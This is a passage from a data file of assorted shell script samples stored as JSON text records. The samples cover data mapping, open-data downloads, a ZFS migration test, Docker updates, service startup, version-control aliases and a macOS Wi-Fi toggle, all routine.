LiverAllProteins.csv $PREFIX/share/polystest/\ncp polystest.yml $PREFIX/share/polystest/\ncp runPolySTestCLI.R $PREFIX/bin\ncp run_polystest_app.R $PREFIX/bin\necho \"before chmod\"\nchmod a+x $PREFIX/bin/runPolySTestCLI.R\nchmod a+x $PREFIX/bin/run_polystest_app.R"} {"text": "# an example to use\n\nfind . -name \"*SMTH_TO_FIND*\" -exec rename -v \"s/SMTH_TO_FIND/SMTH_TO_REPLACE/\" {} \\;"} {"text": "# Mapping with Tarql for the CSV files\n\npwd\n# /d/DBpedia2021/healthcare-platform/databus-upload/kaggle_CovidWorldVaccinationProgress/2021.08.05\n\n# mapping for Covid World Vaccination Progress https://www.kaggle.com/gpreda/covid-world-vaccination-progress\n../../../tarql/bin/tarql --ntriples country_vaccinations_sparql.sparql country_vaccinations.csv > country_vaccinations_triples_rerun.nt\n../../../tarql/bin/tarql --ntriples country_vaccinations_by_manufacturer_sparql.sparql country_vaccinations_by_manufacturer.csv > country_vaccinations_by_manufacturer_triples.nt\n\n# mapping for Covid 19 Tracking Germany\n../../tarql/bin/tarql --ntriples covid_de_vaccines_sparql.sparql covid_de_vaccines.csv > covid_de_vaccines_triples.nt\n../../tarql/bin/tarql --ntriples covid_de_sparql.sparql covid_de.csv > covid_de_triples.nt\n\n\nbin/tarql --ntriples covid_de_vaccines_sparql.sparql covid_de_vaccines.csv > covid_de_vaccines_triples.nt\n\n\n# compress files with bzip2\nbzip2 country_vaccinations.csv\n# decompress files with bzip2\nbzip2 -d country_vaccinations.csv.bz2\n\n\n ../../../../tarql/target/appassembler/bin/tarql -ntriples country_vaccinations_by_manufacturer_sparql.sparql country_vaccinations_by_manufacturer.csv > country_vaccinations_by_manufacturer_triples.nt\n\n ../../../../tarql/target/appassembler/bin/tarql -ntriples 2021VAERSDATA_sparql.sparql 2021VAERSDATA.csv > 2021VAERSDATA_triples.nt\n ../../../../tarql/target/appassembler/bin/tarql -ntriples covid-variants_sparql.sparql covid-variants.csv > covid-variants_triples.nt"} {"text": "PriitParmakson/Avaandmete-POCLAE_AASTA.sh\n#!/bin/bash\n\n# LAE_AASTA.sh\n#\n# Kasutamine: source ./LAE_AASTA.sh \n#\n# Skript laeb Riigihangete registrist argumendina määratud aasta kõigi kuude avaandmete\n# failid \"Sõlmitud lepingud\".\n#\n# CC BY-NC-SA, , 2021\n\nfor ((i = 1; i <=12; i++)); do\n curl -N --output $1_$i.xml \\\n https://riigihanked.riik.ee/rhr/api/public/v1/opendata/notice_award/$1/month/$i/xml \ndone\n\n# -N no buffer vt:\n# https://stackoverflow.com/questions/16703647/why-does-curl-return-error-23-failed-writing-body"} {"text": "1-10\npushd `dirname $0` > /dev/null\nSCRIPTPATH=`pwd`\npopd > /dev/null\n\nclear\n$SCRIPTPATH/run-pyflakes.py ../kardboard\nif [ \"$?\" -eq \"0\" ]\nthen\n python $SCRIPTPATH/../kardboard/tests.py\nfi"} {"text": "#!/bin/bash\n\n# shell可以包含外部文件\n\n# . filename # 注意点号(.)和文件名中间有一空格\n# 或\n# source filename\n\n. ./00_hello-world.sh # 引用外部文件\n\necho \"from $0\""} {"text": "100-1000\n#!/bin/bash -e\nset -x\n\nif ! docker -H ${DOCKER_HOST} info &> /dev/null; then\n echo \"could not connect to ${DOCKER_HOST}\"; exit 1\nfi\n\n# Iterates through all images that have the name of the repository we are interested in in it\nfor FULL_IMAGE in $(docker image ls --format \"{{.Repository}}:{{.Tag}}\" | grep -E \"${REPOSITORY_TO_UPDATE}/\" | grep -v none); do\n # pull newest version of found image\n docker pull ${FULL_IMAGE} | cat\ndone"} {"text": "#!/bin/bash\ncd \"$(dirname \"$0\")\"\ncd ..\n#node sheet.js\nnpm run sheet-docker"} {"text": "#!/usr/local/bin/ksh93 -p\n#\n# CDDL HEADER START\n#\n# The contents of this file are subject to the terms of the\n# Common Development and Distribution License (the \"License\").\n# You may not use this file except in compliance with the License.\n#\n# You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE\n# or http://www.opensolaris.org/os/licensing.\n# See the License for the specific language governing permissions\n# and limitations under the License.\n#\n# When distributing Covered Code, include this CDDL HEADER in each\n# file and include the License file at usr/src/OPENSOLARIS.LICENSE.\n# If applicable, add the following below this CDDL HEADER, with the\n# fields enclosed by brackets \"[]\" replaced with your own identifying\n# information: Portions Copyright [yyyy] [name of copyright owner]\n#\n# CDDL HEADER END\n#\n\n# $FreeBSD$\n\n#\n# Copyright 2007 Sun Microsystems, Inc. All rights reserved.\n# Use is subject to license terms.\n#\n# ident\t\"@(#)migration_009_pos.ksh\t1.2\t07/01/09 SMI\"\n#\n\n. $STF_SUITE/include/libtest.kshlib\n. $STF_SUITE/tests/migration/migration.kshlib\n\n################################################################################\n#\n# __stc_assertion_start\n#\n# ID: migration_009_pos\n#\n# DESCRIPTION:\n# Migrating test file from UFS fs to ZFS fs using dd.\n#\n# STRATEGY:\n# 1. Calculate chksum of testfile\n# 2. Dd up test file and place on a UFS filesystem\n# 3. Extract dd contents to a ZFS file system\n# 4. Calculate chksum of extracted file\n# 5. Compare old and new chksums.\n#\n# TESTABILITY: explicit\n#\n# TEST_AUTOMATION_LEVEL: automated\n#\n# CODING_STATUS: COMPLETED (2005-07-04)\n#\n# __stc_assertion_end\n#\n################################################################################\n\nverify_runnable \"both\"\n\nfunction cleanup\n{\n\t$RM -rf $TESTDIR/dd${TESTCASE_ID}.dd\n\t$RM -rf $NONZFS_TESTDIR/$BNAME\n}\n\nlog_assert \"Migrating test file from UFS fs to ZFS fs using dd\"\n\nlog_onexit cleanup\n\nprepare $DNAME \"$DD if=$BNAME obs=128k of=$NONZFS_TESTDIR/dd${TESTCASE_ID}.dd\"\n(( $? != 0 )) && log_fail \"Unable to create src archive\"\n\nmigrate $TESTDIR $SUMA $SUMB \"$DD if=$NONZFS_TESTDIR/dd${TESTCASE_ID}.dd obs=128k of=$BNAME\"\n(( $? != 0 )) && log_fail \"Uable to successfully migrate test file from\" \\\n \"ZFS fs to ZFS fs\"\n\nlog_pass \"Successully migrated test file from UFS fs to ZFS fs\"."} {"text": "helpers/colorprint.sh\n#!/bin/bash\n\nfunction colorprint() {\n local colorParam=\"$1\"\n local msg=\"$2\" \n case $colorParam in \n \"-red\") echo -e '\\033[31m'$msg'\\033[m' ;;\n \"-green\") echo -e '\\033[32m'$msg'\\033[m' ;;\n \"-blue\") echo -e '\\033[34m'$msg'\\033[m' ;;\n \"-white\") echo -e '\\033[37m'$msg'\\033[m' ;; \n *) return ;;\n esac\n\tsleep 1\n}"} {"text": "#!/bin/sh\n\n\nif [ \"$#\" -ne 1 ]; then\n echo \"Usage: $0 http(s)://fhir-api.com\" >&2\n exit 1\nfi\n\ni=0\nwhile [ $i -lt 60 ]; do\n if curl -s $1 > /dev/null; then break; fi\n echo \"API is unavailable - sleeping\" >&2\n sleep 1\n i=$((i+1))\ndone\nif [ $i -eq 60 ]; then exit 1; fi\n\necho \"API is up - resuming execution\""} {"text": "0\n#!/bin/bash\nkonsole --new-tab --noclose -e sh -c \"cd ../backend && npm run start:cypress\" &\nkonsole --new-tab --noclose -e sh -c \"cd ../$1 && BROWSER=none npm start\" &\nkonsole --new-tab --noclose -e sh -c \"cd ../$1 && npm run cypress:open\" &"} {"text": "src/ru_celery.sh\ncelery -A main worker -l info\ncelery -A main beat -l info -S django"} {"text": "restore-script/data/GNOME/enable-all-search-providers.sh\n#!/bin/sh\n\ngsettings set org.gnome.desktop.search-providers enabled \"['org.gnome.Weather.Application.desktop', 'org.gnome.Characters.desktop']\""} {"text": "#!/usr/bin/env bash\n\nset -u\n\nlog() {\n if [ -z \"$LOG_FILE\" ]; then\n echo \"$LOG_FILE environment variable needs to be set for logging\"\n return 1\n fi\n echo \"$(date): $*\" >> ${LOG_FILE}\n return 0\n}\n\nwrite_user_log() {\n local log_tag=$1\n LOG_FILE=$2 log \"$log_tag: $(cat /dev/stdin)\"\n}"} {"text": "#!/bin/sh\n\n[ -e /etc/crontabs/root ] || touch /etc/crontabs/root\n\nSLED=$(uci -q get sms_tool.general.lednotify)\nif [ \"x$SLED\" != \"x1\" ]; then\n\tif grep -q \"smsled\" /etc/crontabs/root; then\n\t\tgrep -v \"/init.d/smsled\" /etc/crontabs/root > /tmp/new_cron\n\t\tmv /tmp/new_cron /etc/crontabs/root\n\t\t/etc/init.d/cron restart\n\tfi\n\texit 0\nfi\n\nif ! grep -q \"smsled\" /etc/crontabs/root; then\nPTR=$(uci -q get sms_tool.general.prestart)\n\techo \"1 */$PTR * * * /etc/init.d/smsled enable\" >> /etc/crontabs/root\n\t/etc/init.d/cron restart\nfi\n\nexit 0"} {"text": "1-10\n# /bin/bash\n\nINPUT=$1\nNAME=${INPUT%.png}\nTARGET=${NAME}Hotspot.png\nBLUE=#66B2FF\nGREEN=#B2FF66\nORANGE=#FF9933\nBTARGET=${NAME}HotspotBlue.png\nGTARGET=${NAME}HotspotGreen.png\nOTARGET=${NAME}HotspotOrange.png\n\nconvert $INPUT -threshold 35% $TARGET\nconvert $TARGET -morphology Erode Octagon:10 $TARGET\nconvert $TARGET -morphology Dilate Octagon:10 $TARGET\nconvert $TARGET -fill $BLUE -opaque white $BTARGET\nconvert $TARGET -fill $GREEN -opaque white $GTARGET\nconvert $TARGET -fill $ORANGE -opaque white $OTARGET"} {"text": "# On Mac OS X, binaries refer to dynamic library dependencies using\n# either relative paths (e.g. \"libicudata.dylib\", searched relative to\n# $DYLD_LIBRARY_PATH) or absolute paths\n# (e.g. \"/nix/store/.../lib/libicudata.dylib\"). In Nix, the latter is\n# preferred since it allows programs to just work. When linking\n# against a library (e.g. \"-licudata\"), the linker uses the install\n# name embedded in the dylib (which can be shown using \"otool -D\").\n# Most packages create dylibs with absolute install names, but some do\n# not. This setup hook fixes dylibs by setting their install names to\n# their absolute path (using \"install_name_tool -id\"). It also\n# rewrites references in other dylibs to absolute paths.\n\nfixupOutputHooks+=('fixDarwinDylibNamesIn $prefix')\n\nfixDarwinDylibNames() {\n local flags=()\n local old_id\n\n for fn in \"$@\"; do\n flags+=(-change \"$(basename \"$fn\")\" \"$fn\")\n done\n\n for fn in \"$@\"; do\n if [ -L \"$fn\" ]; then continue; fi\n echo \"$fn: fixing dylib\"\n install_name_tool -id \"$fn\" \"${flags[@]}\" \"$fn\"\n done\n}\n\nfixDarwinDylibNamesIn() {\n local dir=\"$1\"\n fixDarwinDylibNames $(find \"$dir\" -name \"*.dylib\")\n}"} {"text": "plugin/astyle.sh\n#!/bin/sh\n\n# Copyright 2016 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Some versions of astyle have a bug that adds a newline each time it's run\n# To get around it, chomp the output before returning\n#\n\nastyle --style=allman --add-brackets \\\n --convert-tabs --max-code-length=80 \\\n --indent=spaces=4 --indent-classes --indent-switches --indent-labels \\\n --indent-preproc-define --min-conditional-indent=0 --pad-oper \\\n --pad-header --unpad-paren --break-after-logical \\\n --align-pointer=type --align-reference=type \\\n $@ | perl -pe 'chomp if eof'"} {"text": "set -ex\nrm -rf public/scripts/dist public/scripts/vendor public/index.*.html"} {"text": "files/run.sh\n#!/bin/bash\n\n# Functions\nfunction kill_tomcat() {\n /usr/local/tomcat/bin/catalina.sh stop\n}\n\n# Location to config file\nif [ -z \"${CONFIG_FILE}\" ]\nthen\n CONFIG_FILE=\"/config/EraWebServerConfig.properties\"\nfi\n\n# Set server_address\nif [ -z \"${ESMC_SERVER}\" ]\nthen\n ESMC_SERVER=\"eset-protect-server\"\nfi\n\nsed -i -r \"s|^([# ]{0,2})server_address=.*$|server_address=$ESMC_SERVER|\" $CONFIG_FILE\n\n# Set remote_address_source\nif [ -n \"${REMOTE_ADDRESS_SOURCE}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})remote_address_source=.*$|remote_address_source=$REMOTE_ADDRESS_SOURCE|\" $CONFIG_FILE\nfi\n\n# Set server port\nif [ -n \"${SERVER_PORT}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})server_port=.*$|server_port=$SERVER_PORT|\" $CONFIG_FILE\nfi\n\n# Set server certificates\nif [ -n \"${SERVER_CERTIFICATES}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})server_certificates=.*$|server_certificates=$SERVER_CERTIFICATES|\" $CONFIG_FILE\nfi\n\n# Set reverse lookup\nif [ -n \"${CONNECTION_REVERSE_LOOKUP}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})connection_reverse_lookup=.*$|connection_reverse_lookup=$CONNECTION_REVERSE_LOOKUP|\" $CONFIG_FILE\nfi\n\n# Set logs path\nif [ -n \"${LOGS_PATH}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})logs_path=.*$|logs_path=$LOGS_PATH|\" $CONFIG_FILE\nfi\n\n# Set max size\nif [ -n \"${LOGS_MAX_SIZE}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})logs_max_size=.*$|logs_max_size=$LOGS_MAX_SIZE|\" $CONFIG_FILE\nfi\n\n# Set max age\nif [ -n \"${LOGS_MAX_AGE}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})logs_max_age=.*$|logs_max_age=$LOGS_MAX_AGE|\" $CONFIG_FILE\nfi\n\n# Set country code\nif [ -n \"${DEFAULT_USER_LOCALE}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})default_user_locale=.*$|default_user_locale=$DEFAULT_USER_LOCALE|\" $CONFIG_FILE\nfi\n\n# Set show help online\nif [ -n \"${HELP_SHOW_ONLINE}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})help_show_online=.*$|help_show_online=$HELP_SHOW_ONLINE|\" $CONFIG_FILE\nfi\n\n# Set allow address changes\nif [ -n \"${ALLOW_ADDRESS_CHANGES}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})allow_address_changes=.*$|allow_address_changes=$ALLOW_ADDRESS_CHANGES|\" $CONFIG_FILE\nfi\n\n# Set HSTS\nif [ -n \"${HSTS_ENABLE}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})HSTS_enable=.*$|HSTS_enable=$HSTS_ENABLE|\" $CONFIG_FILE\nfi\n\n# Set dbo refresh interval\nif [ -n \"${DBO_REFRESH_INTERVAL}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})dbo_refresh_interval=.*$|dbo_refresh_interval=$DBO_REFRESH_INTERVAL|\" $CONFIG_FILE\nfi\n\n# Set Azure Application Insights instrumentation key\nif [ -n \"${AI_INSTRUMENTATION_KEY}\" ]\nthen\n sed -i -r \"s|^([# ]{0,2})ai_instrumentation_key=.*$|ai_instrumentation_key=$AI_INSTRUMENTATION_KEY|\" $CONFIG_FILE\nfi\n\n# Trap SIGTERM signal to kill tomcat daemon\ntrap kill_tomcat SIGTERM\n\n#/usr/sbin/gosu eset /usr/local/tomcat/bin/catalina.sh run\nexec /usr/local/tomcat/bin/catalina.sh run"} {"text": "#!/bin/bash\n#SBATCH --job-name=haystack_ask_questions\n#SBATCH --nodes=1\n#SBATCH --ntasks=1 \n#SBATCH --time=00:30:00\n#SBATCH --partition=gpu\n\n# To clean and load modules defined at the compile and link phases\nmodule purge\nmodule load anaconda3/2020.02/gcc-9.2.0\n\n# Activate anaconda environment\nsource activate project-covid\n\n# To compute in the submission directory\ncd $WORKDIR\ncd haystack/scripts/\n\n# Run python script\npython ask_questions.py"} {"text": "# Basic zsh aliases and functions for Yandex Arc by .\n# Based on https://github.com/ohmyzsh/ohmyzsh/blob/2eb3e9d57cf69f3c2fa557f9047e0a648d80b235/plugins/git/git.plugin.zsh\n\nfunction arc_current_branch() {\n if arc root &> /dev/null; then\n cat $(arc root)/.arc/HEAD | sed 's/Symbolic: \"\\(.*\\)\"/\\1/'\n fi\n}\n\n# Compare file content between commits A & B.\n# $1 — file path\n# $2 — commit A\n# $3 — commit B\nfunction adf {\n diff -u \\\n <(arc show ${2}:${1}) \\\n <(arc show ${3}:${1})\n}\n\n# Compare trees between commits A & B.\n# $1 — path\n# $2 — commit A\n# $3 — commit B\nfunction adft {\n diff -u \\\n <(arc ls-tree --full-name -r $2 $1) \\\n <(arc ls-tree --full-name -r $3 $1)\n}\n\n# Compare arc & git work copies.\n# $1 — arc repo path\n# $2 — git repo path\nfunction agd {\n diff -u \\\n <(cd $1 && find . -type f -print0 | sort -z | xargs -0 shasum) \\\n <(cd $2 && find . -not -path \"./.git/*\" -type f -print0 | sort -z | xargs -0 shasum)\n}\n\n#\n# Aliases\n# (sorted alphabetically)\n#\n\nalias aa='arc add'\nalias aaa='arc add --all'\nalias aapa='arc add --patch'\nalias aau='arc add --update'\nalias aav='arc add --verbose'\n\n# may shadow /usr/sbin/ab - Apache HTTP server benchmarking tool\nalias ab='arc branch'\nalias aba='arc branch --all'\nalias abd='arc branch --delete'\nalias abda='arc branch --merged | command grep -vE \"^(\\+|\\*|\\s*(trunk)\\s*$)\" | command xargs -n 1 arc branch -d'\nalias abD='arc branch -D'\nalias abl='arc blame'\n\n# may shadow /usr/sbin/ac - display connect-time accounting\nalias ac='arc commit'\nalias ac!='arc commit --amend'\nalias acn!='arc commit --no-edit --amend'\nalias aca='arc commit --all'\nalias aca!='arc commit --all --amend'\nalias acan!='arc commit --all --no-edit --amend'\nalias acam='arc commit --all --message'\nalias acb='arc checkout -b'\nalias aclean='arc clean -d'\nalias apristine='arc reset --hard $(arc_current_branch) && arc clean -dx'\nalias act='arc checkout trunk'\nalias acmsg='arc commit --message'\nalias aco='arc checkout'\nalias acp='arc cherry-pick'\nalias acpa='arc cherry-pick --abort'\nalias acpc='arc cherry-pick --continue'\nalias acps='arc cherry-pick --skip'\n\nalias ad='arc diff'\nalias adca='arc diff --cached'\nalias ads='arc diff --staged'\n\nalias af='arc fetch'\nalias afa='arc fetch --all'\n\nalias afg='arc ls-files | grep'\n\nfunction agf() {\n [[ \"$#\" != 1 ]] && local b=\"$(arc_current_branch)\"\n arc push --force \"${b:=$1}\"\n}\n\nalias agpull='arc pull \"$(arc_current_branch)\"'\nalias agpush='arc push \"$(arc_current_branch)\"'\n\nalias agsup='arc branch --set-upstream-to=arcadia/$(arc_current_branch)'\nalias apsup='arc push --set-upstream arcadia $(arc_current_branch)'\n\nalias al='arc pull'\nalias alg='arc log --stat'\nalias algg='arc log --graph'\nalias algm='arc log --graph --max-count=10'\nalias alo='arc log --oneline'\nalias alols=\"arc log --graph --stat\"\nalias alog='arc log --oneline --graph'\n\n# may shadow /usr/sbin/amt - Abstract Machine Test Utility\nalias amt='arc mergetool --no-prompt'\nalias amtvim='arc mergetool --no-prompt --tool=vimdiff'\n\nalias ap='arc push'\nalias apf!='arc push --force'\n\nalias apr='arc pr'\nalias aprc='arc pr create'\nalias aprco='arc pr checkout'\nalias aprl='arc pr list'\nalias aprla='arc pr list --all'\nalias aprv='arc pr view'\nalias aprs='arc pr status'\n\nalias arb='arc rebase'\nalias arba='arc rebase --abort'\nalias arbc='arc rebase --continue'\nalias arbi='arc rebase --interactive'\nalias arbs='arc rebase --skip'\nalias arev='arc revert'\nalias arh='arc reset'\nalias arhh='arc reset --hard'\nalias aroh='arc reset arcadia/$(arc_current_branch) --hard'\nalias arm='arc rm'\nalias armc='arc rm --cached'\nalias ars='arc restore'\nalias arss='arc restore --source'\nalias art='cd \"$(arc root || echo .)\"'\nalias aru='arc reset --'\n\nalias asb='arc status -sb'\nalias ash='arc show --no-decorate'\nalias ashd='arc show'\nalias ass='arc status -s'\nalias ast='arc status'\n\nalias astaa='arc stash apply'\nalias astc='arc stash clear'\nalias astd='arc stash drop'\nalias astl='arc stash list'\nalias astp='arc stash pop'\nalias asts='arc stash show'\n\nalias ats='arc tag -s'\nalias atv='arc tag | sort -V'\n\nalias aunwip='arc log -n 1 | grep -q -c \"\\-\\-wip\\-\\-\" && arc reset HEAD~1'\nalias awip='arc add -A; arc rm $(arc ls-files --deleted) 2> /dev/null; arc commit --message \"--wip-- [skip ci]\"'\n\nif [[ ${__ARC_LANDING+x} ]]; then\n __ARC_MOUNT=\"${__ARC_LANDING}/mount\"\n __ARC_STORE=\"${__ARC_LANDING}/store\"\nfi\n\nif [[ ${__ARC_MOUNT+x} && ${__ARC_STORE+x} ]]; then\n alias amnt='nice arc mount --mount \"${__ARC_MOUNT}\" --store \"${__ARC_STORE}\"'\n alias aumnt='arc unmount \"${__ARC_MOUNT}\"'\n alias armnt='aumnt; amnt'\nfi"} {"text": "data/2019.01/findings/python.latest.finding/ip/run_ip_scan.sh\nfile=\"list_ips.txt\"\nwhile IFS= read line\ndo\n echo \"$line\"\n ./ip_scan.sh $line >> ip_report.txt\n echo $'\\n' >> ip_report.txt\ndone <\"$file\""} {"text": "ShengHuaZhong/openfast\nsource /opt/intel/oneapi/setvars.sh \nsource ~/intel/oneapi/setvars.sh --force"} {"text": "1000+\ngame=./go/game model=df_policy model_file=./go/df_model python3 df_console.py --online --use_mcts \"$@\""} {"text": "etc/insert-timings.sh\n#!/bin/bash\n\nset -e\n\nPREV_TIME=$(date +%s.%N)\n\nwhile read i\ndo\n NEXT=\"$(date +%s.%N)\"\n DIFF=\"$(echo \"$NEXT - $PREV_TIME\" | bc)\"\n echo \"$DIFF: $i\"\n PREV_TIME=\"$NEXT\"\ndone"} {"text": "#!/bin/sh\r\n\r\nif [ $# -lt 1 ];then\r\n echo \"Usage: sh startup.sh /home/user/temp\"\r\n exit 1\r\nfi\r\n\r\ncommand -v java >/dev/null 2>&1 || { echo >&2 \"Require java but it's not installed. Aborting.\"; exit 1; }\r\ncommand -v mvn >/dev/null 2>&1 || { echo >&2 \"Require mvn but it's not installed. Aborting.\"; exit 1; }\r\n\r\nDIR=$1\r\n\r\nBASE_DIR=$(cd `dirname $0`; pwd)\r\n\r\nif [ ! -d \"$DIR\" ];then\r\n echo \"$DIR is not exists.\"\r\n exit 1\r\nfi\r\n\r\nif [ ! -d \"$DIR/nacos/bin\" ];then\r\n if [ ! -f \"$DIR/nacos-server-0.7.0.zip\" ];then\r\n echo \"$DIR/nacos-server-0.7.0.zip is not exists.\"\r\n exit 1\r\n fi\r\n cd $DIR && unzip nacos-server-0.7.0.zip\r\nfi\r\n\r\nif [ ! -d \"$DIR/rocketmq-all-4.3.2-bin-release/bin\" ];then\r\n if [ ! -f \"$DIR/rocketmq-all-4.3.2-bin-release.zip\" ];then\r\n echo \"$DIR/rocketmq-all-4.3.2-bin-release.zip is not exists.\"\r\n exit 1\r\n fi\r\n cd $DIR && unzip rocketmq-all-4.3.2-bin-release.zip\r\nfi\r\n\r\nif [ ! -d \"$DIR/redis-5.0.3/src\" ];then\r\n if [ ! -f \"$DIR/redis-5.0.3.tar.gz\" ];then\r\n echo \"$DIR/redis-5.0.3.tar.gz is not exists.\"\r\n exit 1\r\n fi\r\n cd $DIR && tar -xzvf redis-5.0.3.tar.gz\r\nfi\r\n\r\nif [ ! -d \"$DIR/sentinel-dashboard\" ];then\r\n mkdir -p $DIR/sentinel-dashboard\r\nfi\r\n\r\nif [ ! -f \"$DIR/sentinel-dashboard/sentinel-dashboard-1.4.0.jar\" ];then\r\n if [ ! -f \"$DIR/sentinel-dashboard-1.4.0.jar\" ];then\r\n echo \"$DIR/sentinel-dashboard-1.4.0.jar is not exists.\"\r\n exit 1\r\n fi\r\n cp $DIR/sentinel-dashboard-1.4.0.jar $DIR/sentinel-dashboard/\r\nfi\r\n\r\nif [ ! -f \"$DIR/sentinel-dashboard/startup.sh\" ];then\r\n echo \"java -Dserver.port=12000 -Dcsp.sentinel.dashboard.server=localhost:12000 -Dproject.name=sentinel-dashboard -jar sentinel-dashboard-1.4.0.jar\" > $DIR/sentinel-dashboard/startup.sh\r\n exit 1\r\nfi\r\n\r\ncd $DIR/nacos/bin && nohup sh startup.sh -m standalone > $DIR/nacos.log 2>&1 &\r\necho \"Nacos start success.\"\r\ncd $DIR/sentinel-dashboard && nohup sh startup.sh > $DIR/sentinel-dashboard.log 2>&1 &\r\necho \"Sentinel-dashboard start success.\"\r\ncd $DIR/rocketmq-all-4.3.2-bin-release/bin && nohup sh mqnamesrv > $DIR/mqnamesrv.log 2>&1 &\r\necho \"Mqnamesrv start success.\"\r\ncd $DIR/rocketmq-all-4.3.2-bin-release/bin && nohup sh mqbroker -n localhost:9876 > $DIR/mqbroker.log 2>&1 &\r\necho \"Mqbroker start success.\"\r\ncd $DIR/redis-5.0.3/src && nohup ./redis-server > $DIR/redis-server.log 2>&1 &\r\necho \"Redis start success.\"\r\n\r\necho \"Waiting for servers start...\"\r\n\r\nRESULT=`curl -s -X POST -d \"dataId=user-center.yaml&group=DEFAULT_GROUP&content=user.id: chenzhu\" http://127.0.0.1:8848/nacos/v1/cs/configs`\r\nTIMES=60\r\n\r\nsleep 10\r\n\r\nwhile [ \"$RESULT\" != \"true\" ] && [ $TIMES -gt 0 ]\r\ndo\r\n RESULT=`curl -s -X POST -d \"dataId=user-center.yaml&group=DEFAULT_GROUP&content=user.id: chenzhu\" http://127.0.0.1:8848/nacos/v1/cs/configs`\r\n let TIMES=TIMES-1\r\n echo \"Remain $TIMES seconds : Checking servers is started successfully.\"\r\n sleep 1\r\ndone\r\n\r\necho \"Servers has been started successfully.\"\r\n\r\nif [ \"$RESULT\" != \"true\" ];then\r\n echo \"Create config failed.\"\r\n exit 1\r\nfi\r\n\r\ncd $BASE_DIR/codeless-framework && mvn clean install\r\n\r\ncd $BASE_DIR/sca-best-practice/sca-gateway && nohup mvn spring-boot:run > $DIR/sca-gateway.log 2>&1 &\r\necho \"sca-gateway start success.\"\r\ncd $BASE_DIR/sca-best-practice/sca-user-center && nohup mvn spring-boot:run > $DIR/sca-user-center.log 2>&1 &\r\necho \"sca-user-center start success.\"\r\ncd $BASE_DIR/sca-best-practice/sca-order && nohup mvn spring-boot:run > $DIR/sca-order.log 2>&1 &\r\necho \"sca-order start success.\"\r\n\r\necho \"Waiting for applications start...\"\r\n\r\nRESULT_R=`curl -I -m 10 -o /dev/null -s -w %{http_code} http://127.0.0.1:9999/user-center/example/testRedis`\r\nRESULT_S=`curl -I -m 10 -o /dev/null -s -w %{http_code} http://127.0.0.1:9999/order/example/testService`\r\nTIMES=60\r\n\r\nsleep 10\r\n\r\nwhile [ \"$RESULT_R$RESULT_S\" != \"200200\" ] && [ $TIMES -gt 0 ]\r\ndo\r\n RESULT_R=`curl -I -m 10 -o /dev/null -s -w %{http_code} http://127.0.0.1:9999/user-center/example/testRedis`\r\n RESULT_S=`curl -I -m 10 -o /dev/null -s -w %{http_code} http://127.0.0.1:9999/order/example/testService`\r\n let TIMES=TIMES-1\r\n echo \"Remain $TIMES seconds : Checking applications is started successfully.\"\r\n sleep 1\r\ndone\r\n\r\nif [ \"$RESULT_R$RESULT_S\" != \"200200\" ];then\r\n echo \"Applications has been started failed.\"\r\n exit 1\r\nfi\r\n\r\necho \"Applications has been started successfully.\""} {"text": "dependencies.sh\n#!/bin/bash\r\nnpm install crypto\r\nnpm install events\r\nnpm install lodash\r\nnpm install http-proxy\r\nnpm install pretty-print-json\r\nnpm install socket.io\r\nnpm install xml2js\r\nnpm install @xmpp/client @xmpp/debug or yarn add @xmpp/client @xmpp/debug\r\nnpm install zlib"} {"text": "1-10\n#!/usr/bin/env bash\n\necho\"\"\necho \"#### Deactivate virtual environment ####\"\necho \"\"\necho \"deactivate\"\ndeactivate\n\necho \"Done...\"\necho \"\"\n\necho \"Exit...\""} {"text": "split_args \"$@\"\n\nAPIS=$(awscli appsync list-graphql-apis --output text --query \"sort_by(graphqlApis,&name)[$(auto_filter name apiId authenticationType uris.GRAPHQL -- $FIRST_RESOURCE)].[apiId]\")\nselect_one Api \"$APIS\"\n\nSELECTED_API=$SELECTED\n\nTYPES=$(awscli appsync list-types --api-id $SELECTED --format json --output text --query \"sort_by(types,&name)[$(auto_filter name -- $SECOND_RESOURCE)].[name]\")\nselect_one Type \"$TYPES\"\n\nawscli appsync list-resolvers --api-id $SELECTED_API --type-name $SELECTED --output table --query \"sort_by(resolvers,&typeName)[].{\n \\\"1.Type\\\":typeName,\n \\\"2.Field\\\":fieldName,\n \\\"3.DataSource\\\":dataSourceName}\""} {"text": "if [[ ! -d $(rbenv root)/plugins ]]; then\n # create plugins folder\n mkdir -p $(rbenv root)/plugins\n\n # install ruby interpreter\n rbenv install 2.7.2\nfi\n\n# update plugins\nrbenv update"} {"text": "#!/bin/bash\n\nwhile :;\ndo\n\tmake\n\tmake run\n\tres=$(fswatch -1 --event Updated .)\ndone"} {"text": "#!/usr/bin/env bash\n_AIRPORT_CMD=\"/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport\"\n_toggle_airport_wifi() {\n local _networksetup_cmd=\n local _wifi_interface=\n local _subcommand=\"info\"\n local _arguments=()\n\n _networksetup_cmd=\"$(which networksetup)\"\n\n # Command references:\n # - http://apple.stackexchange.com/a/90516\n # - https://jamfnation.jamfsoftware.com/discussion.html?id=4849\n _wifi_interface=\"$(\n \"$_networksetup_cmd\" \\\n -listallhardwareports | awk '/Wi-Fi|AirPort/ {getline; print $NF}'\n )\"\n\n if [[ \"$(\"${_AIRPORT_CMD}\" --getinfo)\" == \"AirPort: Off\" ]]\n then\n \"$_networksetup_cmd\" -setairportpower \"$_wifi_interface\" on\n else\n \"$_networksetup_cmd\" -setairportpower \"$_wifi_interface\" off\n fi\n} && _toggle_airport_wifi"} {"text": "#!/bin/bash\nIFS=$'\\n'; 